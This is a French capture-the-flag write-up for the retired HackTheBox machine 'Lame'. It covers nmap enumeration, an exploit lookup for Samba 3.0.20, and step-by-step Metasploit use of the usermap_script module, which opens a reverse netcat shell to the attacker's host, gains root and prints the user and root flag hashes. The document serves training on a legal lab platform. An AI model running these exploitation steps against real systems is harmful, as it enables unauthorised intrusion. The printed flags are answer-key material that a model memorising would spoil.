HackTheBox - Lame
Dates des modifications : |
Intervenants : |
Modifications apportées : |
- |
Matthieu BILLAUX @_euzebius |
Nhammmber One Mentor ! |
Dimanche 29 Octobre 2023 |
Mudsor MASOOD mudpak |
Mise à jour vers blog (v1.0.1) |
Samedi 28 Octobre 2023 |
mudpak |
Rédaction de l'article (v1.0.0) |
Vendredi 27 Octobre 2023 |
mudpak |
Exploitation (v0.0.5) |
Jeudi 26 Octobre 2023 |
mudpak |
Énumération (v0.0.4) |
Mercredi 25 Octobre 2023 |
mudpak |
OSINT - OpenSource Intelligence (v0.0.3) |
Mardi 24 Octobre 2023 |
mudpak |
Découverte de la box (v0.0.2) |
Lundi 23 Octobre 2023 |
mudpak |
Création du document (v0.0.1) |
0. Avant-propos
Cet article a pour but de servir de writeup / guide pour obtenir les accès root sur la machine 'Lame'.
Adresses IP :
Les adresses IP ont été volontairement modifiées dans l'article.
L'adresse IP de la machine attaque sera : 66.66.66.66
L'adresse IP de la machine cible sera : 99.99.99.99
1. Prérequis
Il faut :
- avoir accès à internet
- avoir un compte sur la plateforme HackTheBox
Abonnement VIP+ :
Dans le cas présent je dispose d'un abonnement VIP+ pour accéder aux machines ''retired''.
Cet abonnement me permet également de bénéficier des Pwnbox, ce qui m'évite d'avoir une machine Kali Linux / Parrot à disposition et utiliser la connexion VPN.
Voici les informations générales à propos de la machine.
|
|
Auteur : |
ch4p |
Système d'exploitation : |
Linux |
Date de publication : |
14 Mars 2017 |
Niveau de difficulté : |
Facile |
Statut : |
Retirée |
2.1 OSINT - OpenSource Intelligence
En nous basant sur l'image de la machine et au vu du contexte nous pouvons supposer qu'il y aura probablement :
- une CVE qui a été publiée en Mars 2017
- un lien avec le service Samba puisque les cheveux de la personne ressemblent fortement à un équipement de danseuse de samba
2.2 Test de connectivité
Avant de pouvoir attaquer la machine nous allons vérifier qu'elle est bien accessible.
Dans le cas présent deux paquets ICMP ont été envoyés et nous bien un retour de la machine cible, en d'autres termes elle est joignable.
| [2023-10-23] - mudpak@potato
> ping 99.99.99.99 -c 2
PING 99.99.99.99 (99.99.99.99) 56(84) bytes of data.
64 bytes from 99.99.99.99: icmp_seq=1 ttl=63 time=10.1 ms
64 bytes from 99.99.99.99: icmp_seq=2 ttl=63 time=10.6 ms
--- 99.99.99.99 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 10.095/10.335/10.575/0.240 ms
|
3. Énumération
3.1 Identification des ports communs
Nous allons lancer un scan sur les 1000 ports les plus communs :
| [2023-10-23] - mudpak@potato
> sudo nmap --top-ports 1000 99.99.99.99
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-23 22:28 BST
Nmap scan report for 99.99.99.99
Host is up (0.039s latency).
Not shown: 996 filtered tcp ports (no-response)
|
Voici les ports ouverts obtenus ainsi que leurs services :
| PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 7.89 seconds
|
3.2 Identification des services
Nous allons lancer un autre scan cette fois pour identifier les versions de services :
| [2023-10-23] - mudpak@potato
> sudo nmap -sV 99.99.99.99
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-23 22:30 BST
Nmap scan report for 99.99.99.99
Host is up (0.039s latency).
Not shown: 996 filtered tcp ports (no-response)
|
Voici les résultats obtenus, bien que nous obtenions les versions de certains services ce n'est pas le cas pour tous :
| PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.51 seconds
|
3.3 Identification des versions des services
Nous allons essayer d'obtenir les versions des services de manière plus précise.
| [2023-10-23] - mudpak@potato
> sudo nmap -sC -sV 99.99.99.99
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-23 21:38 BST
Nmap scan report for 99.99.99.99
Host is up (0.014s latency).
Not shown: 996 filtered tcp ports (no-response)
|
Au vu des étapes précédentes et notamment OSINT, nous allons nous concentrer sur la partie Samba, la version en service est '3.0.20' :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41 | PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 66.66.66.66
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h00m26s, deviation: 2h49m45s, median: 24s
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2023-10-23T16:38:53-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.73 seconds
|
3.4 Recherche d'exploit via exploitDB
Il s'avère qu'un exploit est disponible pour la version de Samba identifiée.
| https://www.exploit-db.com/exploits/16320
|
4.1 MSF Console
Nous allons ouvrir la console MSF :
| [2023-10-24] - mudpak@potato
> msfconsole
|
Le chargement peut prendre quelques secondes :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29 | . .
.
dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o
' dB' BBP
dB'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP dBP dBBBBBBB
dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP
. . dB' dBP dB'.BP
| dBP dBBBB' dBP dB'.BP dBP dBP
--o-- dBP dBP dBP dB'.BP dBP dBP
| dBBBBP dBP dBBBBP dBBBBP dBP dBP
.
.
o To boldly go where no
shell has gone before
=[ metasploit v6.3.5-dev ]
+ -- --=[ 2296 exploits - 1202 auxiliary - 410 post ]
+ -- --=[ 965 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: View advanced module options with
advanced
Metasploit Documentation: https://docs.metasploit.com/
|
4.2 Recherche d'exploit
Nous allons chercher l'exploit précédemment identifié via exploitDB via la CVE :
| [msf](Jobs:0 Agents:0) >> search 2007-2447
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
|
4.3 Utilisation de l'exploit
Pour utiliser l'exploit utiliser la commande suivante :
| [msf](Jobs:0 Agents:0) >> use exploit/multi/samba/usermap_script
|
Par défaut un certain nombre de paramètres sont à modifier avant l'exécution de celui-ci, saisir la commande ci-dessous pour les afficher :
| [*] No payload configured, defaulting to cmd/unix/reverse_netcat
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> options
|
4.5 Affichage des options
Les différentes options s'affichent, nous aurons besoin de modifier les suivantes :
- RHOSTS : IP de la machine cible
- LHOST : IP de la machine attaquant
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25 | Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 66.66.66.66 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
|
4.6 Modification des RHOSTS
Pour modifier la valeur des RHOSTS, saisir la commande suivante :
| [msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set RHOSTS 99.99.99.99
RHOSTS => 99.99.99.99
|
4.7 Modification du LHOST
| [msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set LHOST 66.66.66.66
LHOST => 66.66.66.66
|
4.8 Exploitation de la vulnérabilité
Maintenant que nous avons défini les paramètres personnalisés, nous pouvons lancer l'attaque via la commande suivante :
| [msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> exploit
|
Nous pouvons constater que le reverse shell a bien été obtenu :
| [*] Started reverse TCP handler on 66.66.66.66:4444
[*] Command shell session 1 opened (66.66.66.66:4444 -> 99.99.99.99:41311) at 2023-10-24 21:51:23 +0100
|
La machine cible étant Linux, nous pouvons exécuter des commandes pour voir les privilèges obtenus :
| id
uid=0(root) gid=0(root)
whoami
root
pwd
/
|
5. Flag User
Pour afficher le flag user, saisir la commande suivante :
| cat /home/makis/user.txt
6e765ed0ce8160250cdff68f7e0a4246
|
6. Flag Root
Pour afficher le flag root, saisir la commande suivante :
| cat /root/root.txt
8df4fb76b9ee8204b387a5daf88bb455
|
7. MindMap
Voici une mindmap pour récapituler les différentes étapes de ce writeup.
8. Erreurs fréquentes
Il se peut que le scan soit lancé mais ne montre pas de résultats, il faut alors le relancer avec les droits root.
| [2023-10-23] - mudpak@potato
> nmap --top-ports 1000 99.99.99.99
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-23 22:28 BST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.06 seconds
|
9. Sources
Voici les différentes sources qui ont permis la rédaction de ce document.
| - https://arnavtripathy98.medium.com/smb-enumeration-for-penetration-testing-e782a328bf1b
- https://www.exploit-db.com/exploits/16320
|